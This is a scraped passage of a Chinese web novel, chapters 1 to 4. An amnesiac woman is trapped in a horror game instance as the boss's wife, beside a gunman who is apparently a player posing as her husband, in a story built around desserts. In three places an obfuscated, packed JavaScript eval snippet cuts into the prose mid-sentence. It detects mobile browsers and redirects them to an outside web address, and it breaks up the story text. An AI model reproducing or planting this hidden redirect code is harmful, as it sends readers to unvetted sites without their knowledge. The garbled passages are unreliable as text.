《是的,我失忆了》 1. 甜点心01 “嘭!” 巨大的响声在耳边炸开,鼓膜被震得嗡嗡作响,温热腥锈的液体溅到了脸上。 宁孟知睁眼就看见眼前的一个男人,或者说男尸。 他双目圆瞪,五官因为惊恐而扭曲,太阳穴上正开着一个黑洞洞的窟窿。 在宁孟知的注视下,这具尸体缓缓地向着她的方向倒下,最终“啪”地一声砸到了下方茶几上,红红白白的液体从那个窟窿里淌了出来,刺目的颜色在灰白色的茶几面上蔓延,又一滴滴地滴下,渗入到下面的毛绒地毯上。 宁孟知有短暂的没反应过来发生了什么。 正对着她的方向,是一个装裱在原木相框里的婚纱照,照片连同相框被一同固定在软木的钉板上,宁孟知余光在一旁的镜子里看到了自己的模样,正是婚纱照上的那个女人。 ……不,婚纱照上的那个女人是她。 而照片上西装领结的男人,几乎是宁孟知将注意力放过去的瞬间,照片中的模糊不清的男性面孔一下子凸显出了五官,正是镜子中映照的另一个男人:白色的T恤和浅咖色的长裤,穿着随意中透着几分亲切,要是对方手里没有一柄正往下放着的枪的话。 宁孟知:“……” 凶案现场?!仇杀?情杀?还是“我”出轨了?! 涂肖也在看那张被扭曲了的婚纱照。 按理说,杀死了核心之后,副本应该直接崩溃,不可能像现在这样稳固。 他抬眼询问地看向宁孟知。 宁孟知被他看得冷汗都下来了。 他眼神和表情都很冷静,没有愤怒、没有仇恨,大概率不是妻子出轨引发的报复,但也太冷静了,冷静得完全不像是刚杀过一个人。 宁孟知根本不敢和男人对视,透过镜面看见对方疑似询问的眼神,她暗地里咬了咬牙,硬着头皮转身过去,“老公。” 涂肖表情空白了一瞬。 他脑海中一下子转过了好几十个想法,最后随着目光一起定格在那张被扭曲的婚纱照上,又看了眼宁孟知僵硬的表情,涂肖心下有所猜测。 但他嘴巴张了张,实在没法把那个称呼叫出口,只能顺着宁孟知的话,轻轻“嗯”了一声。 随着这声答应,房间里那隐隐的排斥力一下子松了不少。 涂肖再低头看茶几旁的那具男尸,尸体开始变得虚幻。 这个男人不是副本核心? …… 终于摆脱了那毛骨悚然的客厅,宁孟知坐在原主的书房里,大松口气。 一穿越就是命案现场,自己还疑似凶手帮助犯,这刺激实在太大了!……咦?她为什么会觉得自己是“穿越”的? 空白一片的大脑没有给出任何可供参详的回忆,但是“这并非我的世界”的烙印牢固得像是刻在意识深处,让她没有丝毫质疑。 而且眼前的书房,也绝非她能装修出的风格。 上半部分暖黄色的墙纸,在接近地面的地方变成了深棕,整个房间都被装点成了一个巨大的焦糖布丁,里面的书柜也做了特别处理,主体是深棕色的实木,最上方的层板被刷了一层亮漆,漆的边缘做出了不规则下淌的形状,像是淋了一层奶油的巧克力蛋糕。 能装修出这么一个大号糖果屋,房间的主人必定是一个狂热的甜点爱好者。 宁孟知扫过书柜里整齐排列的《烘焙原理》《马卡龙圣经》《甜点艺术》一连串的书,觉得对方或许不仅仅是“爱好者”的程度。 她在这间充斥着梦幻风格的书房里查找了一番,最后在书桌左手侧的抽屉里找到了一本日记。 宁孟知:“……” 感谢原主是个喜欢写日记的不正经人。 [3月11日 抹茶配巴旦木,草本的微苦化解巴旦木的油脂感,我果然是个天才! 3月12日 被骂了!Elijah让我不要乱改配方。那个傻X,整天用鼻孔看人,开口闭口就是某某奖,师从法国某某大师,还“不要叫我张国立,叫我Elijah”。呕~恶心死了! 3月13日 ……] 宁孟知翻了几页,很快就发现,上面的记录比起日记来,更像是当日的工作总结笔记,大多数记录的都是原主做点心或成功或失败的尝试,偶尔夹杂几句心情吐槽。又粗略地往后看了看,确定里面没有什么有效信息,正准备阖上笔记本,却看到的下面的两条—— [6月4日 那个傻.逼,专挑加材料的时候和我说话,这次马芬果然失败了 调面糊的时候就觉得稀了,烤出来以后黏糊糊的……本来也不是很成功,蓝莓烤过以后太酸了,我都准备扔了,遇到了奇怪的人 夹层白巧克力,再把顶层挖空填上酸奶和新鲜蓝莓? 试试也不亏,要不也是扔了 6月5日 居然成功了,味道还不错 有巧克力的甜味中和,再加上酸奶本身的风味,烤蓝莓的酸不那么突出了 下次他来店里,和他道个谢吧] 看到这两则日记,宁孟知正准备阖上笔记本的手一顿。 ——该不会是她想的那样吧? 她接着往下翻去,动作比之前急了很多。 这个“他”不管是客厅里站着个的那个,还是躺着的那个,都影响很大啊! [6月13日 他真是一个有意思的人,哈哈哈榴莲配香菜,这是什么魔鬼搭配!!我问他要不要试试芥末味的巧克力哈哈哈他居然说有点想 6月14日 我昨天开玩笑的,他真的问了,说想吃我做的巧克力……我告诉他店里那一排巧克力都是我做的,他好像有点失望 …… 7月3日 他口味有点特别,喜欢甜点里面加一点苦,说是纯粹的甜太过单调,加一点苦更有层次感……听起来很有深度的样子,好像是个有故事的人 手边正好有个布朗尼的配方,说起来布朗尼也算是巧克力] 宁孟知:“……” 妹妹你清醒一点! 刚刚杀完人还面不改色,这可不是有故事的人嘛! “找到什么了吗?” 空旷的房间里突然响起一道低沉的男声,还没确定那个“他”到底是不是目标人物的宁孟知差点把手里的日记本扔出去。 她僵硬地抬头,看见书房的门不知道什么时候打开了,男人正半靠在门框上,翻看着手中的一个台历。他还是那件白色T恤和浅色裤子的打扮,腰带只穿过一个皮带环,余下的尾端斜斜地垂在一边。宁孟知注意到,那上面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472560|185550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有枪,也没有枪袋。 是把枪放起来了吗? 宁孟知这么想着,对方捻起台历当前月份的纸张,半翻起来往后看了一眼,又恢复了原位。似乎是对她长久的沉默表示疑惑,他没急着翻看手里的台历,而是抬眼向宁孟知,从鼻腔里发出点疑惑的问声。 得赶快说点什么! 宁孟知下意识瞥向旁边日记本,只见刚才一阵忙乱,正好把日记本翻到了其中一页。 [9月12日 他向我提出了交往!啊啊啊我……] 宁孟知没继续去看原主的情绪抒发,她想到刚才看到的,男人手里台历上似乎就停留在9月的页面,上面用红色的记号笔圈出了一个日期。 她心有所感,快速地抬手按了一下旁边的手机侧键,一眼看到了上面的日期。 ——9月12日! 屏幕上似乎发生了片刻扭曲,隔了会儿才显示出作为屏保的二人合照,但专注日期的宁孟知没有注意到这点细节。 门口那边,似乎是因为宁孟知沉默了太久,男人放下手里的台历,往前走了一步,皮鞋叩在地面上,没有发出一点儿声响。 宁孟知余光瞥见,头皮一炸。 她“啪”地一声合上了日记本,语速飞快地,“亲爱的,我刚才突然想起来,今天是我们的交往纪念日,要不要庆祝一下?” 男人的脚步一下子顿在了原地。 宁孟知猜是自己的错觉,她觉得对方的动作好像有点僵硬。但是好在对面很快就恢复正常,点头应声,“好。” 趁着男人离开出去准备的期间,宁孟知再次翻了一遍原主的笔记本,确定自己的应对没有出错:原主确实有亲自做蛋糕,庆祝交往纪念日的习惯。 托原主职业习惯的福,她在日记里,把庆祝的步骤列得很详细,连里面做什么点心什么蛋糕用什么蜡烛都写好了。为了晚上的烛光晚餐,她接下来应该和丈夫一起去附近商场购买材料。 宁孟知本来还想再仔细看看这本日记,免得接下来购物过程露馅,但是又往后翻了几页,突然翻不动了,日记的后半部分不知道被什么粘连在一起,她能看到的最后一页,隐隐透出些深色的污渍。 糖浆? 原主在日记里显示的性格有点冒失,又看起来是把日记本当工作笔记用,出现“不小心把糖浆洒在日记本上”的事很有可能。 宁孟知想着这些,突然似有所感地抬头。 男人不知道什么时候站在了门口,在T恤外面套了件牛仔外套,照旧悄无声息的。 走路完全没有声音…… 和这么个人住在一起,会被吓死吧! 忍不住默默吐槽了一句,宁孟知这一次镇定了许多。 她从容合上日记本,抬脚走向对方,“走吧。” 途经客厅,宁孟知目不斜视地往前,但余光还是瞥见了刚才的区域。 那具男尸早就不见了踪影,灰白色的大理石茶几面上干干净净,连下方的地毯上也不见半点血迹……这么专业,怎么看都不是第一次了。 门把手转动,锁扣啪嗒着打开。 宁孟知抬眼就看见,男人站在玄关处,单手撑着着门,无声地等她通过。 宁孟知:“……” 她镇定得好像有点早了。 2. 甜点心02 脚踩在柏油马路上,头顶是湛蓝的天空,旁边浓绿色的叶子拥簇着一丛丛淡黄色的花,风将阵阵桂香送来。按理说从凶杀案的屋子里出来之后,应该觉得放松才对,但宁孟知在短暂的松懈之后,神经再一次紧绷起来。 有什么不对劲。 脑海中隐隐有声音提醒这一点。 身后一阵轮子滚动的声音渐渐接近,宁孟知本来就紧张的神经瞬间绷紧。 她骤然回过头去,后面是一对头发花白的老夫妻,他们被宁孟知突然回头的动作吓了一跳,神情愕然。 “对不住,小姑娘,撞着你了?” 那位白发稀疏的老爷子往前倾了倾身致歉。他身前正推着一个轮椅,轮椅上坐着一位同样银发的老太太,后者靠在轮椅上,眼神浑浊,正口齿不清地说着什么。 宁孟知没有听懂老太太的话,只看着随着她的嘴巴张合,有口水从一边淌下来,老爷子像是很习惯地拿起一旁的围兜,一边给她擦干净脸,一边嘴里絮絮叨叨着,“你年轻的时候就爱干净,这会儿要是脑子还不糊涂,就该发火了……” 看起来是一对很恩爱的老夫妻。 宁孟知摇头说了句“没事”侧身让了一步,供二人先行通过。 但她很快就发现自己的失策。老爷子推着轮椅走得不快,小区里的道路狭窄,没法供两个人并排越过轮椅,被这么一辆轮椅挡在前面,两个人被迫减慢了速度。 宁孟知忍不住眼角打量了眼旁边的男人,发现他也跟着放缓了步速,不紧不慢地走在后面,完全没有超过去的意思。 太好了。 她还以为男人会直接掏出枪来,就这么干掉这对老夫妻。 似乎是捕捉到她的目光,男人询问看过来,“有问题?” 宁孟知把头摇成了拨浪鼓,“不,没有。” 但“有问题?”,这问法好奇怪。 前方是小区的绿地,和人行道隔开,中间有个不高的石头台阶,老爷子大概是想推着老伴来晒太阳,走到这里就停顿了下,正费力地压着轮椅靠背,抬高前轮。 涂肖盯着看了几秒,上前一步,单手把轮椅抬了上去。 老爷子只觉得手上沉重的压力一松,回过神来就看见轮椅被稳稳当当地抬上了台阶。 他转头看向涂肖,用苍老的声音感慨着:“谢谢你啊,小伙子,你是个好人。” 宁孟知旁观了全程,表情古怪。 好人?一个杀人凶手是好人? 虽然杀人放火,但是会扶老太太过马路……吗? 像是察觉了注视,涂肖抬眼看过来。 宁孟知敏锐地感觉到他眼神的细微变动,就像是从看无生命的物体变成看活人…… 后一个念头闪现,宁孟知顿时从脚底板凉到了后脑勺。 要是被对方知道了“我不是他老婆”……宁孟知不敢深想下去。 她也无心去管那一对恩爱的老夫妻,一路精神紧绷到了附近的商场。 超市位于商场的地下层,扶梯下去就能看见旁边停靠的购物车,等待前面的那一对情侣推走购物车的间隙,宁孟知突然意识到这一路的违和是怎么回事了:除了商场的前台和小区的保安这类功能性的角色,他们这一路上的遇见的人居然都是成双入对的情侣。 难不成今天是什么特别的日子?出门的全都是情侣?! 这年头连人出行都要限号吗? 宁孟知不由地抬头看了眼男人,后者显然也察觉到了异样,目光随着前面那对情侣的方向,投向了商场内部:有看起来刚刚成家的年轻夫妻,也有一看就带着学生气的小情侣,还有退了休的老伴……不管什么年龄段,看起来都很恩爱模样,要是平常路上偶遇了其中任何一对,或许会让人会心一笑,但是一整个商场的顾客全都是如此,就让人头皮发麻了。 宁孟知觉得自己仿佛踏进了什么恐怖电影。 涂肖倒是还算平静,他观察了一会儿商场里的情况,抬手拉过一辆购物车,微微屈肘,同时侧眸瞥了宁孟知一眼。 宁孟知不知怎么就明白了他的意思,学着前面的那对情侣,抬手搭上了他的手肘。 几乎就在她做出这个亲近举动的同时,身周那隐约的压力感一下子就消失了。 宁孟知:什么鬼?规则类怪谈? 脑子里的思绪混乱,宁孟知心不在焉地推着购物车走在商场里,纷乱的想法像是沸水中的气泡,一个接一个浮上来又破碎。 “是这个?” 男人突然开口问,手里拿着一袋绿色外包装的高筋面粉。 “不,”脑海里某些知识自然而然地浮现,宁孟知听见自己开口,“做蛋糕要用低粉。” 她这么说着,拿起旁边货架上的低筋面粉,放到购物车里。 以此为开始,接下来的购物一下子变得顺畅起来。 黄油、朗姆酒、无菌蛋、奶酪……一样接着一样的东西被放到购物车里,最开始察觉的违和感仿佛成了无足轻重的小事,诡异幸福感异样地充斥着胸腔,让人产生一股轻飘飘的满足。 宁孟知看见自己拿着两个牌子奶油左右比划,像是陷入某种抉择困难,笑着转向旁边,“A牌的奶油口感清爽一点,X牌的奶香更浓,老公你更喜欢哪种?” 男人深深地看过来一眼,宁孟知心头一跳,本来以为对方会做什么,却听见他答:“A牌。” 宁孟知:“……好、好的。” 她开口磕巴了一下,才发现刚才那股诡异的仿佛能控制身体又好像没有的感觉消失了。 什么鬼?原主人的意识居然还在吗?! 意识回归,周围的诡异之处又带来了压力,宁孟知正想要赶紧完成清单上的购物回去,但推着购物车往糖果区走时,却看见前面一对年轻夫妻。 二人小声交谈着,不知道聊了些什么夫妻之间的悄悄话,气氛非常轻松愉快,就见丈夫往下方倾了倾身,妻子微微踮了下脚,飞快地在他脸上亲了一下。像是觉得不好意思,二人亲完之后,立刻恢复了原状,一本正经地研究起了旁边的货架上饮料成分表。 宁孟知:“……” 涂肖:“……” 两个人目光对上,表情都不怎么自然。 随即一先一后,都若无其事地移开了视线。 头顶上的灯无声地闪了闪,像是有短暂地电路不稳。 两个人再往前走,遇到了拿着签子互相投喂的试吃水果的学生情侣,旁若无人亲昵、抹掉对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472561|185550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴角奶油的恋人……宁孟知努力装作若无其事。再一个拐角,她正拿着一包手指饼干,货架突然晃动了一下,透过货物空了的缝隙,她看到了货架的另一边,正在激吻的年轻情侣。 宁孟知:“……” 她怀疑再这么发展下去,自己可能要目睹超市野战了。 旁边伸过来一只手臂,涂肖从旁边货架上拿了一包薯片,放在货架的空档处,挡住了另一边的渐渐火热的气氛,开口询问:“还有什么?” 宁孟知从这平淡的语气里,听出了想要赶紧结束的意味。 实不相瞒,她也想赶紧回去。 宁孟知快速回忆了一遍原主的购物清单,“还得去一趟果蔬区,缺两盒草莓。” “我去拿。” 涂肖扔下这句话,大步流星地离开原地,没过两分钟,拿了两盒草莓回来。 两人推着购物车去收银结账,这一路上没再遇到别的暧昩尴尬了。 但宁孟知觉得并非她的错觉,往收银台上的这一路,商场上所有人的目光都注视而来,充斥着种种难辨的含义,胳膊上一颗接着一颗起着鸡皮疙瘩。 “请问二位需要购物袋吗?” 收银员露出的营业式的礼貌微笑,但先牵起嘴角再弯眼睛的慢动作让五官显得极不协调,表情像是面具一样挂在脸上。 宁孟知干咽了一口,僵硬地点了下头。 看着收银一件一件地将商品放置到购物袋里,好几分钟后,随着一道支付成功的提示声,这场身心俱疲的购物总算告一段落。 但路上的波折远没有结束,几乎是两人刚出商场大门,就听见外面轰隆一声,电闪伴随着雷鸣,还没出商场建筑范围,大雨瓢泼而下,前方划出了一道分明的深色痕迹。 狂风卷着暴雨,室外的能见度不足五米,全不见来时的风和日丽。 宁孟知:“……” 她不由地抬头看了眼旁边的男人。要不就亲一口吧,不然她怀疑两人走不出这个商场。 ——经过这一路的诡异事件,她再怎么“失忆”,也摸清了一点规则。 涂肖却并没有看她,而是抬眼看着出口的方向。 雨幕中,一个人影缓缓浮现,宁孟知悚然一惊,虽然满街都是“恩爱情侣”这事让人发毛,但是习惯了这个设定后,突然出现了一个独自行动的单人同样惊悚。 那人越走越近,宁孟知也看清了对方的模样。 是个相貌姣美的女性,她拿着一个快递袋子举在头顶,徒劳地挡着大雨,雨水将那披散的黑发打湿,浅色上衣跟着湿透,湿淋淋地贴在身上,透出妙曼的曲线。 看见有人,她眼睛一亮,“你好,请问你们有多余的伞吗?” 宁孟知:不好意思,我们连伞都没有。 不等宁孟知回答,涂肖往前走了半步,拎着购物袋的手半抬,把宁孟知往后挡了挡,“没有。” 女人脸色露出失望之色,但很快敛下。她咬了咬下唇,淡色的唇.瓣染上血色,雪白的肌肤越发苍白,“那你们介意我进来避个雨吗?” 涂肖:“介意。” 宁孟知:……大哥,你就不能委婉点吗? 这要真是个野怪,那就要开boss了! 3. 甜点心03 宁孟知没想到自己还有毒奶的天赋。 被涂肖毫不留情面的拒绝后,女人白着一张脸低下了头。宁孟知本来就对这女人十分警惕,这时候也没放松观察对方,她眼看着对方原本及腰长发越长越长,几个呼吸间就垂到了臀下,过了膝弯,到了小腿…… 宁孟知:“小——”心! 这提醒的话没来得及说出口,就见那黑发飘扬而起,像是有生命一般,拧成一条黑色的巨蟒,尖锐的尾端直直地朝着她刺来。 宁孟知:??? 美女你搞清楚点,刚才又不是我拒绝的你。 心底这么吐槽着,宁孟知很有自知之明地一个矮身,往侧后方一躲,让开战场,顺便还来得及捞住被男人放在一旁的购物袋。刚做完这一切,就看着前面男人一把抓住黑发的尾端,往这个方向一扯。 嘶! 宁孟知一阵头皮幻疼。 女人也是吃疼,嘴巴张开,似乎想要发出尖叫,但声音还没有出口,就被拉着头发往侧边一甩,她整个人被拉的腾起,直直砸到了商场前的石柱上,沿着柱子滑落下去,半天都没能站起身来。 涂肖没放过这个机会,几乎是转瞬之间就欺身上前,拉着那女人头发丝在脖子上绕了几圈,收紧回拉,直接把人吊了起来。那女人一开始还在挣扎,渐渐挣扎的动静越来越弱,最后没了彻底声息。 整个过程,从开始到结束也没有三分钟,宁孟知眼睁睁地看着这一切终了。 随着这场战斗结束,天气也有了转变,暴雨像是突兀开始一样又突然停止,阳光照亮着水洗后的天空,未散的水汽在天边折射出一道彩虹。另一边的地上,女人的尸体一点点变得透明。 宁孟知:“……” 她到底穿了个什么世界啊?! 一路惊心动魄,终于回到了“家”里。 涂肖因为刚才的打斗被淋湿,一回来就进了淋浴间,伴随着浴室里传来的哗啦啦水声,宁孟知心不在焉地整理着此行的收获。 鸡蛋挑出几颗放到一旁的厨房台上待用,黄油切下合适的大小,待用的那部分放在常温软化,另一部分放到冰箱……身体像是有某种本能,把一切都打理得井井有条,但是等到想开冰箱门的时候,宁孟知的动作突然顿住了。 她突然想起来,从她看见客厅那具男尸到她出门之间,她并没有听见外面开门的动静,所以不存在把尸体搬下去的可能性。 宁孟知盯着眼前的冰箱,陷入沉思。 天人交战了一会儿,她深吸一口气,谨慎地把冰箱拉开一道缝隙。 ……很好,里面并没有出现什么不属于冰箱内的东西。 确定了不会出现“一开门就和里面住户四目相对”的情况,宁孟知这才放心打开冰箱门,把需要冷藏的东西一一放进去。 这么说,客厅里的那个男尸和商场外的女人是同样的情况。死后会消失,疑似有特异功能……那算是“人”吗? 宁孟知忍不住想起了那位目前看来是她“丈夫”的男人。 他又是个什么情况? 大概是想着什么来什么,宁孟知很快就注意到浴室的水声不知道什么时候已经停了,淋浴间的房门被推开,男人走了出来。淋浴内部的通风做得不错,他出门并没有带出蒸腾的水汽。但刚刚吹干的头发蓬松地落下,他整个人也看起来柔软了不少。 注意到落在身上的目光,涂肖立刻就抬眼看了回去,见是宁孟知之后,表情有片刻的不自然,忍不住低头看了看自己,确认过穿着没有什么不妥之后,才开口问:“要帮忙吗?” 宁孟知看了眼厨房眼花缭乱的盆盆罐罐,又想到脑子里自然浮现的、还有很多的步骤,肯定地点头,“要。” 没了刚才那如有神助的状态,两个新手略显磕绊地坐着厨房准备。 涂肖:“面粉八十克?” 宁孟知点了点头,脑子里面自然而然地浮现了接下来的步骤画面,看见涂肖拿起面粉袋往电子秤上方的容器里倒,她连忙拦住,“等等,粉类要先过筛。” “过筛?” 宁孟知目光在这个几乎和客厅差不多大的厨房里巡视了片刻,很快就找到了筛网。 原主的收纳习惯很好,足足五个筛网,被主人整整齐齐摆放在厨具柜里,宁孟知随便选了一个,也没担心露馅,毕竟这位“丈夫”看起来比她还不熟练的样子。 但专业工具的细分还是它的原因,或许是筛目选得太细了,面粉堆积在筛网上半天都没有落下。 涂肖询问地看了眼宁孟知。 宁孟知:“……” 她心底暗道不好,脸上表情丝毫不变,一副“这很正常”的模样。 男人果然没有再问了,而是低头研究起了筛网。 呼!糊弄过去了。 宁孟知刚这么想着,就见对方摇晃了两下没有把面粉晃下去,拿起了一旁的冷却定型用的电吹风。 “等!——咳咳咳……” 宁孟知还没来得及阻拦,就被扑面而来的面粉呛了一脸,粉尘吸入鼻腔,她禁不住剧烈地咳嗽了起来。 呛咳的动作碰到一旁的蛋液碗上方靠着的蛋抽手柄,连蛋抽带碗翻倒下来。 涂肖眼明手快地捞住了蛋液碗,一个翻扣,半空中将落下的蛋液稳稳地接入碗中,眨个眼的功夫,被碰倒的容器就稳稳落在原地。同时不忘另一只手扯过了旁边的厨房纸巾,递给咳得撕心裂肺的宁孟知。 宁孟知接过纸来胡乱抹了把脸,总算缓过来,虚弱地:“面粉不能用吹风机……”这是哪来的厨房杀手? 凭借着原主的记忆,正经演示了一遍什么叫做面粉过筛,宁孟知正准备把手中的筛子交给了对方,转头却见男人正盯着她看。 宁孟知:“怎么了?” 被刚才那一下的面粉扑得狼狈,她头发丝上还沾着白色的粉尘,脸颊上也只随意抹了两下,留下了道道白色的擦痕。 涂肖用手指点了点,示意了其中一道,“刚才的面粉没擦干净。” 宁孟知抬着袖子抹了抹,用的力气不轻,擦过地方的皮肤被蹭的发红,“还有吗?” 没有听到回答,反而被轻轻托起了下颌,纸巾柔缓扫过面颊,又被轻扯着头发拨弄了几下发丝,细白的粉末随着他的动作簌簌落下,头皮上传来轻柔的牵拉感,不疼但感觉有点怪异。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472562|185550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 宁孟知正想要问好了没有,却看见对方的手指停顿在她的眼角处。 她后知后觉地想起来了,刚才那会儿咳得太厉害,都咳出眼泪来了,面粉被泪水打湿,黏糊地沾在眼睫上。 指腹碰触到眼睑的肌肤,她不自觉地闭上了眼睛。粗糙的指节略微加了点力道从眼皮上擦过,肌肤这个器官或许有什么延迟,宁孟知只觉得先前被轻轻碰过的头皮在这时候一阵酥.麻,她呼吸短暂的停了一瞬,又不自抑地急促了起来。 男人的动作也顿住了。 宁孟知注意到对方的视线落在她的脸的下半部分。 确切的说,是嘴唇的位置。 先前在商场所见的一幕幕画面复又在脑海浮现,心跳不规则地加快,宁孟知不自觉地吞咽了一口。传入耳中响动或许是她的吞咽声,可她又分明看见近在咫尺的那脖颈上的喉结上下滚动。 两个人的距离逐渐拉近…… “滴!!” 旁边的加热器的定时响声打断了这满室的暧昩,从那浓稠的、让人沉溺其中的气氛中清醒。 宁孟知下意识往后退了一步,抬手匆匆在没被擦的那只眼上搓了两下,干巴巴地,“水浴的温度到了,我去打发黄油。” 涂肖“嗯”了一声,转身退开,走到水槽旁,拧开水龙头。 水流哗啦啦地响,将手指上粘附的面粉冲下,在光洁的金属槽内,冲刷出一缕缕散开的乳白色痕迹。 涂肖不自觉地注视了一会儿,缓缓、缓缓地吐出了口气。 这个副本好像有问题。 不,也或许是他有“问题”。 …… 终于结束了这场令人煎熬的食材准备,宁孟知把蛋糕推进烤箱、设好定时,随便找了个理由重新躲进了书房。 她再次翻开了原主的日记。 这个世界这么不对劲!原主的日记里,不至于一点都没有记录吧? 前面的内容都翻得差不多了,都是工作记录夹杂着少女的恋爱心事,看起来没有任何不对,宁孟知尝试着翻看后面被粘连的内容。 一开始被污渍浸透的部分黏得太厉害了,强行打开恐怕要连字都一起毁了,宁孟知选择从后方尝试。不知名的污渍在日记本的后方只渗透了很小的一部分,宁孟知仔细观察了一阵,选择其中黏连的最少的一张,用美工刀一点点拨开黏在一起的地方。 刚打开这一页,就被触目的血红吓了一跳。 并不是红墨水的颜色,而是暗红发黑像是干涸的血渍,明明字形字迹和前面相同,但是乍一眼看上去只能感受到浓重的怨气,仿佛盯得久了会有血淌下来一样。 [9月12日第158次 这次来的人好可恶,他杀了我老公老公啊啊啊啊我的爱人,他杀了我的爱人!!……他说要他要做我的爱人,太好了,我又有丈夫了!你会爱我的,对吗?很爱很爱很爱很爱我 …… ………… 亲爱的,你不爱我你不爱我你为什么不爱我!!我好疼啊好疼啊] 宁孟知:??! 什么情况? 该不会是她理解的那个意思吧? 4. 甜点心04 宁孟知坐在椅子上,盯着手上的日记本已经看了快有半个小时了。 她整理了一遍自己那短暂的,但处处违和的经历,终于得到了初步的结论—— 我穿越了。 好像穿成了副本boss。 外面那个男人疑似“玩家”,碍于某些游戏规则,他杀死了“我”丈夫之后冒名顶替。 好消息,以原主循环了一百多次都没被.干掉的情况来看,她的实力挺强的。 坏消息,以外面那玩家面不改色开小怪的样子,似乎也是位大佬。 更坏的消息,原主实力强和她没有多少关系,商场门口她还差点被一个小怪干掉。 宁孟知正为这“落落落落落”的人生哀叹的时候,书房门突然被敲了两下,她一个激灵,合上那满页血字笔记本抬头,就看见男人正站在门口。 “烤箱刚才响了,要把蛋糕拿出来吗?” 宁孟知:“嗯……嗯,好。” 涂肖却没立刻走,而是站在原地顿了一下,问:“没事吧?你脸色不太好。” 这种危险未知、敌人四面环伺的情况,她脸色能好就奇怪了,宁孟知刚想敷衍两句“没事”,却突然觉出不太对劲的地方。 她忍不住抬眼打量起了涂肖,上上下下左左右右,直到把对方看得拧眉,她才收回视线,但脑海中忍不住回忆起这一整天的经历,不管是从那对老夫妻到看她的眼神变化、商场外面对付小怪时的保护,还是刚才厨房时候的意外……历数种种细节,宁孟知不自觉得出了一个略显惊悚的结论:这个人是不是喜欢她啊? 作为一个玩家,喜欢副本boss,他疯了吗?! 手上的日记本沉甸甸的,那占据了一整页的血字好像还在眼前,血淋淋的“爱我”像是某种执念扭曲成的文字。 宁孟知突然意识,也不一定是玩家疯了,或许这就是这个boss的被动技能。 她自己不也感受到了那种不受控制的感情吗? 不管是之前商场买东西的时候,还是刚才在厨房…… 半天没有得到回答,涂肖视线顺势落在宁孟知手上的笔记本上。 没记错的话,她上次手里就拿着这本笔记本。 合着的笔记下沿隐隐透出纸页被浸透的暗红色污渍,涂肖又多看了两眼,“这本笔记本有问题?” “不,没什么。”宁孟知佯作自然地把日记收起来,“就是本普通的笔记本。” 从日记上boss的自白看,这个副本的通关关键是扮演原主的丈夫。 也有可能是这个玩家是在配合副本boss演戏…… * 一直到晚餐甜点准备完毕,把餐桌摆在房间的落地窗前,关上灯点上蜡烛,宁孟知都没有想好自己该怎么办。要是这个玩家真的被boss能力影响,“爱”上了她还好,但要是对方是为了通关演戏,商场外的那位女鬼就是她的下场。 餐桌上,烛火映亮的中间,是刚刚出炉的提拉米苏,深色蛋糕以白色的奶油为夹层,奶油间隙透着切开的草莓纹理,蛋糕早在端上桌之前就均匀地切成了六块,宁孟知也没客气地端起了一块放到自己面前的盘子上。 本来是心不在焉地往嘴里塞了一口,但是微带苦味的甜香在味蕾上绽开,奶油丝滑的口感和蛋糕的软绵在口腔内混合,她的表情忍不住亮起来。 这就是副本boss的技能吗?! 她愿意称之为boss级别的! 宁孟知脑子里还在思考着办法,但是手上却忍不住一下接着一下,没过几分钟就把一整个切块吃了干净。她忍不住舔了舔嘴角,正准备再回味回味,抬头却看见对面盘子里的蛋糕还一口没动。 宁孟知:“……” 糟心的处境一下子把她拉回了现实。 她抬眼看向对面的男人,回忆着之前在超市内购物时那诡异的幸福感觉,努力让自己表情像是陷入热恋一般的甜蜜,“你不吃吗?” 对面动作似乎停顿了一下,隔了片段,才低头看向盘子里的蛋糕,但却没有第一时间入口。 这蛋糕确实是“道具”级别的了。 好吃到宁孟知都有点怀疑它是不是有心情buff了。 ……对方果然在演她? 宁孟知才被甜点放松的心情一下子就紧绷起来。 怎么办?怎么办? 向对方坦白?我只是一个穿到游戏的无辜路人,不是你要找的boss…… 这念头几乎刚冒出来,就被宁孟知否决了。 看男人白天对小怪时的态度就知道,这根本不是个乐于助人的类型,而且在这种处处怪异的世界里说出这种事,只要脑子正常一点,多半会觉得是怪物的陷阱。 就在宁孟知绞尽脑汁思考解决办法的时候,却见对方快速地低头尝了一口,简短地评价,“很好吃。” 声音很平淡,但或许是烛光的映照,也或许是周遭氛围的衬托,他神情看起来颇为温柔。 心跳忽然停滞了片刻,那种类似于购物时的怪异幸福感又泛了上来,只不过这一次情绪要更加激烈。宁孟知隐隐察觉自己可以控制,但是某个念头闪过,她选择了放任那种情感充斥着胸腔。 就像是之前在厨房时的自发动作一样,当这种感情充斥而来的时候,她也清楚地知道自己接下来要干什么。 